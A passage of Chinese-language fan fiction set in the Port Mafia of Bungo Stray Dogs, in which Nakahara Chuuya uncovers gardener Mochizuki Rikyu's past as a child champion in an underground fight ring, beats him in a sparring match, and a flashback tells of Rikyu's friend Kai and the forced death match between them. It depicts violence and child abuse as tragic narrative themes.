平静,自然,却带着一种将他这个人完全包裹住的重量。
璃久忽然发现,远藤先生和织田作……在某些地方很像。
他们都用一种沉默却强大的方式,为他构筑了一个可以喘息的空间。
“走吧,今天差不多了。”
璃久点了点头,握住远藤先生伸来的手站起身。
两人并肩,沿着来时的路,慢慢往回走。
夕阳将他们的影子拉得很长,投在平静下来的草坡上。
远藤望着逐渐清晰的□□大楼,带着点憧憬地说道:
“要是能看看……花园里的花,都开了的样子,就好了。”
璃久脚步未停,目光却微微看向远藤佝偻却依旧前行的背影
他迅速收回视线,盯着脚下的路。
在那句愿望消散在风里之后,他才用几乎听不见的声音回应:
“……嗯。”
然后,他稍稍加快半步,第一次走到远藤身侧,一同朝着那五座巨大的建筑走去。
而在他们身后四五米远的地方——
“青木哥?青木哥?”
健太郎拔高嗓音叫了两声,直到身边人回神。
“哥,我们为什么要跟着他们啊?”
方才在河边,他刚缓过神,青木就嘀咕着“不能让他们走了”,边拉着他三步并两步的离开。
“刚才那阵妖风!”
青木还在耿耿于怀,“怎么感觉都不像是自然的风……”
他皱着眉,眼神锐利,死死盯着前方那个眼熟的瘦小身影,以及他旁边那个穿后勤制服的男人。
“是他,望月璃久……”
他眯起眼,那个背影烧成灰他都认识
“怎么这么巧?”
这么巧那里只有他和那个蔫不拉几的男人在?这么巧那里恰好刮了怪风?这么巧他们离开后风就消失了?肯定有鬼!
健太郎顺着他的目光看去,小声道:“青木哥,他们可能也是来散心的吧……”
“散心?”
青木冷哼一声,回想起刚才那阵风,以及空气中不自然的波动
“偏偏在我们训练的时候,躲在上面?这上面除了一堆枯草啥都没有,除了干坏事还能干什么?”
健太郎默默咽下“哥你别多想”的安慰和“禁止内斗”的劝告,只是闭紧嘴,落后两步跟在青木身后
夕阳下,少年的背影被拉得很长,像一头伤痕累累的疲惫孤狼。
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——
同样被夕阳和烦躁眷顾的,还有47楼的准干部中原中也。
他试图集中精神去看部下提交的第一期宝石走私简报
但那个瘦小的身影始终在脑中盘旋
望月璃久
他揉了揉眉心,又拉开抽屉,掏出最上面黑色封皮的文件夹
第十三批新人的成绩单,他只留下了一张
纸面上,少年的眼睛睁得很大,但眼里空洞一片,别无他物。
“望月璃久……”
他仰靠在椅子上举起文件夹,视线划过一行行烂熟于心的成绩数值。
“近身格斗——”
他冷嗤一声,“这成绩,是在嘲笑谁呢。”
昨天那个拧身扭转,怎么看都达到黑蜥蜴的水准了。
有这样的实力,竟然会沦落到被所有部门拒绝,最后流放到园艺科。
不对劲,肯定有鬼
一股跃跃欲试的,想要挖出真相的火焰在胸腔中蓬勃生长
中也一跃而起,扫开桌上乱七八糟的流程文件。
他需要更多信息
那个望月璃久,绝不像成绩单里写的那么简单。
他打开内部数据库,权限框跳了出来。
作为准干部,他的权限不低,但某些加密区域仍会对他关闭。
他啧了一声,随手输入了几个通用查询指令,想在更广阔的地下世界情报里碰碰运气。
很快,一个被标记为「已归档·地下格斗场清扫记录」的文件夹跳了出来,附带一些作为“战利品”收缴的影像资料。
其中一个视频的标题引起了他的注意:
「“影蚀”冠军之夜——十三岁的怪物的加冕礼」
鬼使神差地,他点开了它。
画面晃动,充满噪点
背景是充斥着疯狂呐喊的昏暗场所
聚光灯打在中央的擂台上,一个瘦小的身影站着,与他对面的肌肉壮汉形成荒谬的对比。
地下拳场
不是竞技场
而是将活生生的人,如同消耗品般打磨成取悦观众的凶器工厂。
铃声敲响。
中也的呼吸屏住了。
那个黑发少年动了
没有试探,没有犹豫,只有最原始,最高效的杀戮本能
他的动作快得几乎留下残影
闪避,出拳,关节技,都精准地指向人体的脆弱之处
力量,速度,时机的把握堪称艺术
欢呼声呐喊声几乎要掀翻擂台
但少年脸上却没有任何表情,只有死寂的漠然
仿佛他击倒的不是一个人,而是一件物品。
最终,他以一记凌厉的锁喉将壮汉制服
直到他完全窒息死亡后才松手
期间,不论是裁判还是庄家都没有阻止
地下拳场,非生即死
中也咽了口口水
这是和擂钵街截然不同的生存规则
聚光灯照亮了少年汗湿的,带着些许稚气却无比漠然的脸。
是璃久
一年前,十三岁的,望月璃久
即使被举起右手,戴上属于卫冕冠军的绶带
“影蚀!影蚀!影蚀!———”
那张脸上依然什么都没有
视频结束,屏幕暗了下去,映出中也有些失神的脸。
他经历过“羊”的背叛,经历过港口黑手党的血腥,自以为见识过了足够的黑暗。
但现在,胸口却像被石头压着,喘不上气
十三岁……
加冕之夜。
那第一次冠军,是什么时候?
之前……又花了多长时间?
一年?两年?还是更久?
这个答案黑暗的让中也不敢去深思
他忍不住想起了“羊”里那些比自己,白濑和柚杏更年幼一些的孩子
他们白天至少能在阳光蓝天下奔跑,夜里(在他们的保护下)至少能睡个安稳觉,食物不多但也饿不到,偶尔还能得到一块糖
而那时的璃久,恐怕已经浸泡在不见光的血腥里,学习如何最快折断别人的脖子。
他关掉视频,身体向后靠在椅背上,仰头看着天花板。
影蚀……
人事部知道他们收进来的“体术废材”,其实是一个从死人堆里爬出来的“卫冕冠军”吗?
“望月璃久……”
中也第无数次念着这个名字,指腹无意识摩挲着文件夹的外壳
“你躲在园艺科,究竟在谋划什么?”
问题的答案,他必须亲手找出来
11. 你一拳呀我一脚(1)
——
十点,四十八楼花园。
璃久蹲在花圃边,指尖在湿润的土壤中挖出一个个小坑
他的脊背挺拔如松,双腿分开,稳稳扎根在凹凸不平的石板路上。
“浅一点。”
远藤坐在小砖房前的大石头上,笑看着璃久生疏却谨慎的动作
“照得到光,它们才能发芽。”
璃久依言,在坑底又覆上一层薄土。
直到远藤点头,他才拿过脚边的小纸袋。
那是远藤先生的份,他的份在昨天被自己毁了。
“对不起……”
没有说完,但远藤听懂了
“璃久。”
远藤的声音很温和,引导着少年关注当下
“袋子里的种子,还等着入住新家哦。”
璃久沉默着捏紧纸袋,又看了看空荡荡的,等待被播种的花圃
“……远藤先生,下午……我们还能再去吗?”
他想再去一次河边,弥补昨天的过失
他想早一点让这片,还有剩下的四片花圃都开满花。
“当然。”
远藤毫不犹豫地回答,“等我们把这些种子们安顿好,下午就去。”
“嗯。”
璃久轻轻应着,刘海下的眼睛亮了一点。
这份安静,被一阵又重又急的脚步声踏碎了。
小门被猛地推开。
青木站在门口,脸上带着怒气,还有一丝对昨天那阵“妖风”的后怕。
他径直走到璃久面前,阴影笼罩了花圃。
“望月璃久,昨天河边那阵邪风,是不是你搞的鬼?”
璃久没有抬头,只是继续播种,仿佛对方不存在。
这种无视彻底激怒了青木。
“别装傻!我知道是你!”
他抬脚,作势就要踩上花圃。
“那些种子,”
远藤平和但坚定的声音响起,“是这片土地期待的客人。”
青木的脚停在半空,他恼怒地瞪向远藤
“老东西,这里没你的事!”
“这里是园艺科负责的区域。”
远藤缓缓站起身,“还请你,不要惊扰了这里的安宁。”
璃久依然蹲着,他看着青木悬在半空的脚,周身的气息变得冰冷。
那家伙刚才,骂了远藤先生。
青木被这两人一静一动的抵抗激得火冒三丈
“装什么蒜!”
他猛地收回脚,弯下腰一把揪向璃久领口。
那瞬间,璃久动了。
他猛的抬手,一记切掌打在青木手腕麻筋上,同时五指张开,瞬间锁住关节。
力气不大,但足以让对方动弹不得。
整个过程不到半秒。
青木的怒吼声戛然而止,只剩下惊恐的抽气。
他的整条手臂又酸又麻,动不了了。
“璃久!——”
远藤在叫他
璃久的瞳孔猛地收缩,手指强行松开了半分。
他在干什么?!
“你们,在干什么!”
一个冰冷,压抑着怒气的声音从入口处传来。
中原中也站在那里。
他没有错过青木脸上混杂的疼痛与惊愕,以及璃久那只僵硬地悬在半空,试图伪装成无害的手。
“港口黑手党禁止内斗。”
这话是对着青木,“再有下次,直接审讯室报道。”
“滚回去。”
“………是!”
青木白着一张脸,右手无力地悬在身侧,踉跄着跑了出去。
中也一个余光都没分过去,只是死死的盯着璃久。
他看的一清二楚
青木伸手瞬间那下沉的重心,那一记凌厉的劈掌,以及最后试图强行压抑而产生的微小僵直。
只有几秒,但足够验证了。
“你,”
中也声音不高,却带着准干部独有的威压,“跟我去B3训练场。现在。”
远藤连忙起身,试图挽留:“中原先生,望月他……”
中也的目光扫过男人,带着一丝不易察觉的复杂
他查过他的信息,远藤守,时年54岁,一年前在码头搬运矿石的任务中,由于受到过量放射性物质污染,同组四人均不幸罹患癌症,其余三人已全部身故。
同情一闪而过,中也的语气平稳礼貌,却没有丝毫松动
“远藤先生,这是港//黑内部的事务,请你不要插手。”
说完,他不再看任何人,转身径直走向电梯。
璃久还蹲在原地,刘海下的瞳孔剧烈颤抖着。
他知道他是谁
正因如此,他不得不走。
在远藤担忧的注视下,他最终缓缓起身,低着头,沉默地朝小门走去。
几步路,他咬紧了唇,却没有回头
一次都没有
——
训练场的空气弥漫着汗水与旧橡胶的味道。
璃久站在门口,难以自抑地微微发抖。
这里只有皮靴踏地的响声。
但他却能听见赌客的刺耳的呼喊,庄家冰冷的下注,裁判残忍的哨声,和对手倒地的撞击声
太响了,几乎要把他的脑子炸开。
“唔———”
璃久闷哼一声,半边身子靠在大门上,冰冷的触感透过制服一路冷到心底。
他看着自己抵着门槛的脚尖
和衣服一样,港口黑手党发的皮鞋也太大
这双是织田作和老板一起凑了钱,在中华街给他买的。
“我们小望月也是有工作的人啦。”
他还记得老板爽朗的笑声,和织田作平静但温和的点头。
心口忽然难以自抑的疼痛起来。
他忽然很想撞开大门,顺着樱花大道一路逃回咖喱店,扑进织田作怀里,像之前一样,把这一切全都忘掉,埋葬到记忆的最深处。
但他不能
对面是他作为一个底层成员,绝对不能忤逆的存在。
如果他逃了,织田作就会有危险。
他不能,做累赘……
“还要装到什么时候?”
璃久睁开眼,看着场地中央只着一件白衬衫的中原中也。
他忽然想到织田作说过的话,和自己天真愚蠢的反问
「港//黑,最不缺的就是意外」
织田作说对了。
可惜,他发现的太晚了。
门在璃久身后缓缓关上,像关闭了唯一的生路。
他拖着脚步,沉默且瑟缩的站到中也对面。
“攻击我。”
中也的声音在空旷的场地里回荡。
璃久不动
他不能,港//黑等级分明,攻击上级者是重罪。
“我让你攻击我!”
中也的声音陡然拔高,带着被轻视的怒火
“你不是冠军吗?那就拿出真本事给我看啊!”
璃久猛地抬头,脸色惨白
他知道了
他都知道了
自己拼尽全力想要忘却和隐藏的一切………
他攥紧了拳,指节发白,却依旧一动不动
仿佛在拼尽全力守住一个,已经败露的秘密。
“好,很好。”
中也怒极反笑。
一阵劲风
璃久本能地后撤半步,险险避开那记凌厉的手刀。
对不起
他默念着,又飞快下腰躲过一记侧踢
“果然!”
换来的却是变本加厉的攻势,拳、腿、肘,如同暴风骤雨般袭来。
中也不再留手,每一击都带着呼啸的风声
他在逼他,逼他使出真正的,属于地下卫冕冠军的实力。
血液内的暴力因子在兴奋的嘶吼
但璃久只是闪躲,格挡,将所有的攻击险险化解,却始终不肯还击一拳。
他不能还击
因为——
“还手!”
一拳擦着颧骨打过,拳风刮得他皮肤生疼
“别再装了!!”
低扫腿,角度73
躲不开了。
本能推开了理智,璃久立刻后仰,左腿和中也踢来的右腿重重撞在一起
“砰!”
肌肉骨骼碰撞的闷响在训练场炸开。
璃久的身体后仰到几乎极限,却并未倒下。
他的左腿借着惯性,脚跟直踹中也支撑在地的左腿膝盖。
然而,在动作即将完成的瞬间。
他收紧核心,硬生生截断了所有力量。
脚跟悬停在离目标仅一寸之遥的地方,又无力落下。
第二次失控了
璃久感觉自己像被浸泡在冰水里,冷得刺骨。
“终于……肯露出来了?”
中也的声音低沉下去,带着一丝冰冷的兴味
刚才那套格挡加蹬踹的连招,速度之快,力气之大。
如果中了,自己大概已经坐在地上起不来了吧。
他笑了,但没有一丝温度。
“这才像点样子。”
下一秒,周围的空气仿佛都凝固了。
中也的速度和力量,陡然提升了一个层级!
不再是试探,而是如同海啸,要将他彻底碾碎的攻势!
“砰!”
一记重拳擦过肋骨,带来骨裂般的剧痛。
“砰!”
手刀砍在格挡的手臂上,震得他半边身子发麻。
“只会躲吗?!影蚀!!”
“砰!”
一记沉重的侧踢狠狠踹在腹部。
璃久闷哼一声,身体不受控制地甩出去,重重砸在冰冷的墙壁上,又滑落在地。
喉头一甜,他强行将涌上的腥气咽了回去。
脑袋嗡嗡作响,中也的声音和田中老板的声音交替响起。
「影蚀!杀了他!!你就是为此而生的!!」
手几乎要不受控制地抬起,又被硬生生按下
中也站在原地,胸膛因怒气而微微起伏
“拥有那样的力量,却甘愿躲在泥土里扮弱者,真是,恶心。”
璃久撑在地上的手开始颤抖。
织田作的脸,远藤先生的笑容在脑海中闪过,又被擂台上震耳欲聋的咆哮和对手骨骼碎裂的声音覆盖
“站起来!”
「站起来啊!15号!老子梭//哈了还指望你买房呢!」
「立刻起身!15号,否则判负!」
他抬起头,摇摇晃晃的站了起来。
这一次,中也没有立刻追击。
“我查过你了。”
他扬了扬下巴,钴蓝色眸中眼神锐利
“‘影蚀’,擂钵街拳场,溶狱最年轻的卫冕冠军。”
他打量着璃久,语气里混杂着愠怒和得意,
前者是被欺骗,后者则是发现真相
“鼎鼎大名,体术竟然只有D-,还跑来这里当园丁?耍我?”
璃久沉默不语,内心是一片绝望的冰冷。
“说话!”
中也声音拔高,“藏着这种过去,装成这副样子混进来,你到底想干什么?收养了你的织田作知道吗?还是你连他都骗?”
不!不是的!
璃久在心中嘶喊,但他发不出任何声音。
恐惧,牢牢的攥住了他
如果中也作为准干部上报,让港口黑手党认定他是别有用心,极度危险的潜伏者……
那么,收养了他的织田作会怎样?信任了他的远藤先生会怎样?咖喱店那个小小的,温暖的世界,会不会因为他的存在而被彻底摧毁?
就像………
“不承认吗,呵。”
中也看着他骤然惨白的脸色,认定这是被戳穿的心虚。
“看来只有拳头才能让你说实话啊!——”
他不再废话,身形一动,比之前更快的拳头带着破风声直击而来。
璃久站在原地,看着拳头越来越近
保护珍视之物的唯一方法,似乎永远都是……毁灭眼前的威胁。
织田作,远藤先生,老板……
保护他们。
唯一的办法,就是让“知道了一切”的中原中也,彻底闭嘴。
璃久眼中最后一点人性的光芒熄灭了
取而代之的,是“影蚀”那虚无的,只为生存而战的冰冷。
他面无表情,右手五指迅速,精准地扣住了那只手腕
向前欺近,左臂手肘直顶向中也的胸口
“砰!”
肘部砸在中也交叉格挡的手臂上,发出一声闷响。
中也甩了甩发麻的手臂,不怒反笑,战意被彻底点燃。
“对,就是这样啊。”
他勾了勾手指,“来攻击我啊,冠军!”
战斗再次升级
璃久不仅仅是躲避,而是在闪避后,趁着中也
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尚未蓄力时,用手肘或膝盖发起短促而凌厉的反击
虽然都被轻松化解或避开,但战斗的性质已然改变。
甚至,重心在不知不觉中,逐渐滑向了另一端。
“砰!——”
肘击——用小臂挡开,再低扫腿
“嘶——”
手刀——后仰,提膝格挡,顺势蹬其腹部
“喝!”
摆拳,俯身下潜,切入内侧,上勾拳
他用了至少七成的力度,目标是中也短暂暴露的肋骨
这一拳,终于带上了实质性的威胁。
中也腰腹肌肉瞬间绷紧,硬抗下来。
“还挺能打的啊!———”
璃久沉默不语,只是一记高扫腿猛踹对方太阳穴。
两人在场地中央以快打快,拳脚相交之声不绝于耳。
摆拳,勾拳,低扫,膝撞
身体越来越轻盈,动作越来越流畅
视野内中也的脸逐渐模糊,幻化成不同的脸
4号,18号,27号,32号,57号,199号,208号………
渐渐的,风声,拳肉声,脚步声,呼喝声
全都消失了
血液里沉睡的野兽彻底苏醒
“到此为止了!——”
视野里,是逐渐逼近的重拳
他没有躲闪,而是用左臂硬生生格开。
“砰!”
臂骨发出令人牙酸的呻吟
但他借着这股力道,顺势切入中也内侧空档
「近身」
中也反应快得惊人,被格开的手臂迅速回抽
手肘,要打太阳穴
他微微偏头,这记肘击堪堪擦着额角掠过。
同时,他的右腿无声无息钩向中也的支撑腿脚踝
不是要绊倒,而是要破坏他瞬间的平衡。
「破坏」
中也重心微微一晃的刹那,被璃久精准捕捉。
那双眼里,不再有一丝犹豫和隐忍,只有冰冷的专注
属于历经222场胜利,最年轻卫冕冠军的专注。
他切入内侧的左手向上,瞬间卡死中也的脖颈,将他的脑袋死死锁在自己胸前。
身体同时猛然下坠,向后坐去
「裸绞」
标准的,致人死地的裸绞,一旦坐实发力,会在数秒内切断被绞者颈部血液流向大脑,导致昏迷甚至死亡。
“可恶!——”中也立刻抓向那只手,试图将其撕开
但还没结束
还差最后一步
「投摔」
锁脖下压,破坏下盘,顺势将被绞者的身体被向后(与地面约60度锐角方向)猛摔。
如果成功,中也将以头下脚上的姿势,并且头部以数倍的力量率先撞击地面,就像用力砸向水泥地的鸡蛋。
颈椎折断,颅骨碎裂
这是毫无悬念的即死结局。
这套“近身-破坏-裸绞-投摔”的组合技,在不到一秒的时间内从璃久手中流畅地倾泻而出
狠辣,高效,没有一丝多余的动作,充满了专属于地下拳场的纯粹恶意。
“你……!想死吗!”
中也的瞳孔缩成了针尖。
他是真的,想要杀了自己
重力异能不受控制地启动,红光瞬间浸染全身。
「异能力:污浊了的忧伤之中」
周身空气瞬间沉重如铁。
是重力,至少4倍的增强重力。
“呃啊!”
耳道内传来尖啸,身体几乎要被内外两股力量撕裂,拧碎
痛,好痛
仿佛体内有无数把刀在割
骨骼,血管,皮肉,都在一点点失去形状……
意识在疯狂报警。
不行
牙齿咬破了嘴唇。
要忍住,不可以……
场内电灯齐齐摇晃,灯光一闪一闪,折射出扭曲的彩虹,吞噬着身下蠕动的影子。
在重力的作用下,身体如同一片凋零的落叶,无可自抑的向下坠去。
完了,这个角度——
就在后脑即将与地面撞击的刹那
戴着半指手套的手,先一步垫在了脑后。
“砰!”
沉重的闷响。
璃久被死死压在地面上,动弹不得。
只有后脑传来一丝与地面截然不同的微弱热意。
“喂!——”
“喂!——望月璃久!别装死!———”
那声音带着被触怒的急躁,手指拍打着他的脸颊
“啪!——”
左脸颊传来灼热的痛意。
璃久涣散的视线才缓缓聚焦
那双钴蓝色眼眸近在咫尺
里面除了愤怒,似乎还有一闪而过的,不易察觉的后怕。
他艰难地转动眼珠,看向自己被揪住的衣领
那只手,刚才还垫在他的后脑上。
“呵,冠军,也不过如此嘛。”
下一秒,那只手一松,他一下摔坐在地上。
“明白了吧?”
那嗓音中带着刻意为之的张扬
“你那些阴沟里学来的把戏,在真正的力量面前,一文不值!”
汗湿的刘海被一把揪起
璃久不得不仰头,再次撞进那片钴蓝色里
“园艺科。”
中也咬紧了牙关,眸中怒火灼烧,“是用来种花的,不是来养你这种怪物的!”
“在港口黑手党,控制不住自己力量的就是最下贱的垃圾!”
怪物
垃圾
璃久浑身一震,想低头,那只手却更用力的将他固定住
无处可逃
“从明天开始,花园不用去了,给我滚去后勤部,打扫全楼的厕所!”
“用你那身蛮力,去跟污垢打交道吧,那才是你该待的地方!”
厕所……
不行……蒲公英,还没种完………
璃久张了张嘴,想反驳,想祈求,但喉咙肌肉发紧,连气音都发不出来。
“再让我看见你惹事——”
宣判声停顿了一下,似乎在寻找最合适的措辞
“我就把你碾碎,倒进马桶里冲走!”
黑色大衣下摆一晃而过,皮靴踏地声逐渐远去,大门被重重摔上。
璃久独自蜷缩在冰冷的地面上
他望着天花板刺眼的灯光,缓缓闭上了眼睛。
12. 再见,我最好的朋友
「提示:本章为回忆杀,高虐」
——
“小不点?”
“小不点?你在听吗?”
璃久眨了眨眼,视线逐渐聚焦
一双手
皮肤光洁细腻,没有一丝伤痕
他动了动手腕,那双手也动了动
是他的?
他的手什么时候变得那么小了?……
“嘿!回神了!——”
这个声音……
他难以置信却又满怀期盼的抬头,撞入那双充满笑意的茶色的眼睛里。
“凯……?”
“是我啊!小不点!是困了吗?要不明天再练?”
凯凑得更近了,近到璃久能闻到他身上淡淡的汗水气息,能看到他扑闪的睫毛,能看到他微微震动的喉结。
热意迅速冲上眼角。
璃久向前跨出一步,紧紧的,紧紧的抱住了凯
他唯一的,最好的朋友
——
在溶狱,8岁的15号是个异类
不论打,踹,电击,用腐蚀药
不论剂量,不论程度,他都不会受伤,连伤痕都不会留下。
因此,他成了最廉价的沙包,最好用的出气筒,最值钱的招财树。
老板将他明码标价:人肉沙包,按小时计费,奇迹展示,价高者得。
拳手们在赛后,都会在他身上“复盘”白天的失误
赌客们为那转瞬即逝的“愈合”一掷千金,甚至炒出上千万的天价。
几个以虐待为乐的看守,则是他深夜的常客,他们将他拖进隔音的小房间,轮番上阵,只为了赌他会不会在某一次重击下,终于发出一声哀嚎。
其他的孩子,看向他的眼神,永远是充满了戒备和恐慌
“走开!怪物!”
“流了那么多血,一下子就好了!肯定有问题!”
“离我们远点!!”
8岁的15号,周围永远都围满了人,却始终是孤身一人
直到半年后,名为凯的少年,闯入了他灰暗的世界里。
“你好啊。”
在宿舍,他主动选了15号边上的铺位,笑容满面的和他搭话,“我叫凯,还是个新人,以后请多指教了。”
第一次,有人不是为了“使用”他而靠近。
在擂台下,他扯着嗓子,声嘶力竭:“反击啊!15号!打他的下巴!”直到被看守捂嘴拖走
在深夜,他变魔术的掏出几包烟,贿赂了几个常用15号做沙包的看守。
在垃圾场,他翻翻找找,从铁盒子里找出几颗还没过期的水果糖,塞到15号掌心。
“小不点要多吃点啊,未来长不高可不行哦!”
他有编号,但他从来都是以凯的名字自称,对15号也一样。
“小不点,看那个新来的,胸前的胎记像不像困了的狮子?”
“小不点,今天最后踹的那一脚,真的太棒了!”
“小不点,我今天赢了奖金,晚上我们去买汽水吧!”
和15号不同,他有家
正值叛逆的少年,为了证明自己而离家出走,结果时运不济,被抢走了钱包,最后被所谓高薪能出头的工作诱骗至此。
他不是没想过逃走,也尝试过几次
每次都会失败,每次都会被毒打
但在15号面前,哪怕脸肿的说不出话,哪怕全身上下都是瘀伤,他也会颤颤巍巍伸手比出手势
「没关系,不要哭,我不疼」
渐渐的,凯放弃了逃跑,转而将所有的注意力都放在了15号身上
“小不点,今天这场赛,你本来可以赢的。”
赛后,他顾不上自己腿上的淤青,拉着15号到训练场
“对面那个块头看着大,下盘比看守嘴里的雪茄烟都飘,看我——”
他努力忍着疼,放慢动作,一遍遍的演示如何反击
直到15号眨巴着眼睛点头。然后磕磕巴巴复制一遍
“拧腰——送肩——!对了!”
他揉着他的脑袋,不厌其烦地夸“小不点真聪明!”
他从不觉得15号是怪物,哪怕他永远不会留伤,哪怕他几乎从不说话。
哪怕,他握过的东西,总会很快坏掉,或者莫名其妙的消失
夜深人静时,他总会抱住偷偷溜过来挤着睡的15号,讲一些童年时在国外的旅行,讲起妹妹永远梳不齐的辫子,讲起母亲每周都会做的烤苹果派。
偶尔,他会停下来,用力咳嗽几声,掩饰涌上心头的思念。
每次这时,15号都会立刻闭上眼,打起超大声的呼噜,直到小鼻子被捏住,透不过气而破功,最后两人在被子里偷偷笑成一团。
在他的指导下,15号的拳术逐渐流畅。
8月3号,15号拿着第一笔奖金,买下了贩卖机里所有的橙子汽水,眼睛亮晶晶的塞给他。
那晚,他们爬到某栋小楼的天台,边喝汽水边看着漫天星空。
“等我们赎身成功了。”
凯猛的喝下一口,像在发誓,也像在立约,“就让我爸妈买一栋能看见星星的房子,有大大的窗户,还有数不清的橙子汽水。”
15号挤在他身边,没说话,只是伸出小指,悄悄勾住了少年因为反复骨折而耷拉的,坏死的小指。
勾得很紧,很紧
在拳场,他们白天切磋技术,深夜相拥入眠,永远形影不离,
那时的15号,第一次觉得这里的日子也不是难以忍受,第一次觉得未来是值得期盼的。
只要凯在
——
时间一天天流逝
死去的人,新来的人反反复复
凯和15号,每次都能幸运的活下来
但他们从没想过,这份幸运的背后,早就标注好了昂贵的价格
某个赛后深夜,其他孩子都睡下后,凯将15号拉到训练场最僻静的角落。
“小不点,看好了。”
凯的声音压得很低,脸色凝重。
他指着自己脖颈侧面一个隐秘的位置
“今天最后那场,那个俄罗斯人就是想用肘击打你这里。”
15号点头,心有余悸的摸了摸脖子
他察觉到了,也迅速躲开了。
“这里很危险。”
凯一字一句,深深地看着15号,“只要角度和力道对了,一下,就能让人瞬间失去意识,甚至……”
他没说完,但15号懂了,小手揪紧了少年的衣角
“别怕。”
凯握住15号的手,“我现在就来教你,下次遇到这种情况要怎么做。”
他让15号站好,然后开始分解动作。
“先格开他的拳头,像这样,切入他的内侧。”
他的手臂卡住15号脖颈的模拟位置
“然后,锁住这里,破坏他的平衡,最后……利用他自己的力量,把他摔向地面。”
他在最后一步停了下来,双手稳稳地扶住了15号的肩膀。
“记住它的感觉了吗?”
凯蹲下身,平视着15号格外专注的眼睛,语气严肃,
“但是,你要记住。”
“我之前教你的其他招都可以随时用,这招,不行。”
他用力点了点15号左胸心脏的位置。
“它是用来保住这里,是为了让你能‘活着’离开这。”
“只有在退无可退、下一秒就会死的时候,才能用它。”
15号看着凯眼中自己小小的倒影,认真的点了点头
之后,他们总会在深夜偷溜出来,一遍遍拆解,练习这套连招。
15号也开始在擂台上控制力道,以最小的伤害让对手失去平衡或投降。
他依旧会赢,但不再像以前那样,凭借“不死”的特质磨垮对方,而是运用凯教导的其他技巧,精准地结束战斗。
“力量是用来守护而不是屠戮的。”
凯抵着15号的额头一字一句
“无论以后你变得多强,赢了多少比赛,都别忘了,拳头是用来保护重要的东西,或者争取活路的。”
“小不点,答应我,永远不要以折磨他人为乐。”
他的比赛速度越来越快,动作越来越干脆
能只打一下,绝不打第二下
然而,在溶狱里,这种“克制”,本身就是一种异端。
观众和庄家押注,想看的不是技巧与风度,而是最原始,最刺激的暴力宣泄,是鲜血,断骨和濒死的哀嚎。
这种“点到即止”的打法,在他们看来,是敷衍,是扫兴,是断了他们的财路。
“那个15号,最近是怎么回事?打得软绵绵的!”
“上次明明能撕了那家伙的喉咙,居然只是锁晕了?”
“真没劲,看来‘怪物’也开始惜命了?”
不满在累积。
庄家数着日渐减少的赌资,眼神越来越冷。
客人们觉得“表演”不够精彩,嘘声越来越大。
凯担忧地看着这一切
他将15号护得更紧,对他的要求也越来越严格,
“不对!重心再低三寸!你这样切入的速度太慢了!”
“手!你的手在抖什么?!卡死脖颈就要像铁钳一样,犹豫零点一秒死的就是你!”
“再来!做到完美为止!”
凯的吼声在训练场角落里回荡
他脸上不再有笑容,眼神锐利得像要刮下15号一层皮。
15号身上总是添着新伤
虽然会很快愈合,但疲惫是实打实的。
可他从未抱怨,甚至没有露出一丝不解或委屈。
他只是沉默地,一次又一次重复着枯燥而痛苦的动作,直到力竭倒地。
因为他看得到,凯在吼他时,自己攥紧的拳头在微微发抖。
因为他看得到,每一次严厉的指责后,凯眼中一闪而过的,他还无法理解的痛苦和……恐惧。
直到五天后的深夜。
15号像往常一样,偷偷溜到凯的铺位。
他刚躺下,就感觉到少年在黑暗中剧烈地颤抖了一下。
“小不点……”
凯哽咽着,猛地转过身,在黑暗里紧紧抓住了15号的手臂,力道大得几乎要捏碎骨头
“我们会死在这里的……对不对?”
“其实我们根本逃不出去……他们不会放过我们的,尤其是你……”
被压抑的恐惧,在此刻终于溃堤。
15号用力地回抱住颤抖的凯,像凯曾经无数次拥抱他那样。
他把脸埋在凯单薄的胸膛前,听着那里面狂乱失措的心跳。
过了很久
久到凯的颤抖渐渐平息,只剩下压抑的抽气声
15号才抬起头。
“不会的。”
这是他被卖到这里之后,第一次开口说话
“我们,一定能,一起活着出去。”
后来——
——
“凯………”
热意迅速冲上眼角
眼眶蓄满了泪水。
璃久猛地扑进他的怀里,用尽全身力气抱住了他。
“……对不起……对不起……我没能……都怪我……”
凯愣住了,因为怀里的身体在剧烈发抖
“怎么哭了啊?”
凯慌乱的试图替他擦眼泪,“是我刚才手重了?还是不舒服了?”
璃久用力摇头,眼泪丝毫不停,反而愈发汹涌。
凯顿时明白了。
小不点的眼泪不是因为训练的痛苦
而是某种更深沉的,他无法理解的悲伤。
他犹豫了一下,随即用力回抱住这个今天格外异常的小家伙,轻轻拍着他的背。
“傻瓜,”
凯的声音温柔,带着笑意,“有什么好对不起的。你不是一直都做得特别好吗。”
璃久收紧手臂,眼泪蹭湿了他的衣服。
他做的不好,一点也不好。
「直至一方死亡,比赛结束」
「杀了他,15号!否则你们就一起死吧!」
「小不点……杀了我,用那招……」
看守的鞭子,庄家和看客的狞笑,裁判的读秒
和试图拖延时间,却被迫死斗的两人。
“噗哈哈,怎么啦小不点,好痒哦!——”
璃久掏出从凯衣服里拿出来的手
手上干干净净的,没有红色。
那晚,带着强酸的鞭子,率先落在了凯的旧伤上
「第一次警告!」
「好好打!不然就拖下去打碎了喂狗!」
原本就伤痕累累的背部被打的皮开肉绽,鲜血迅速浸透了黑色的短袖
那之后,那之后………
璃久贴着凯温热的胸膛,试图把之后的一切全部忘掉。
但他做不到
或者说,他从来就没有做到过。
「立刻起身!21号!」
擂台上,凯摇摇欲坠的站起身
血从他背后不断滴落在擂台上
「比赛继续!」裁判开始读秒「十秒无有效攻击则全部判负!」
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全部判负
好像也不错
只要在一起就好
“不打了……”
15号向后退,摇着头,声音细弱蚊蝇,“我们……一起……”
他宁愿和凯一起死在这里。
就在这时,他的庄家慢悠悠地踱到台边,用只有他们能听到的音量低语:
“不打?可以。我会让人打断21号的每一根骨头,挖掉他的眼睛,把他做成人棍,泡在药水里让你天天看着,你想这样吗,15号?”
15号的呼吸骤然停止。
他看向凯,凯也正看着他,眼中没有恐惧,只有一种了然的悲哀。
不打,凯会生不如死。
打,他们之中必须死一个。
没有退路。
锣声再次敲响。
凯率先动了
不再是软绵绵的花架子
而是日夜对练时,曾经倾囊相授的所有技巧
低扫腿扫向下盘,逼他移动
那是凯教他如何破坏重心。
紧接着一套组合拳,拳风呼啸,封住他的所有退路
那是凯教他如何压迫对手。
“还手!小不点!”
凯嘶吼着,眼睛血红,“用我教你的东西,朝我要害打!”
15号却只是机械地格挡,闪避,下潜,用凯教他的一切来防御凯的进攻。
眼泪模糊了视线
他做不到,他怎么可能……
“砰!”
摆拳擦过颧骨,火辣辣的疼。
“你在等什么!等他们把我折磨死吗?!”
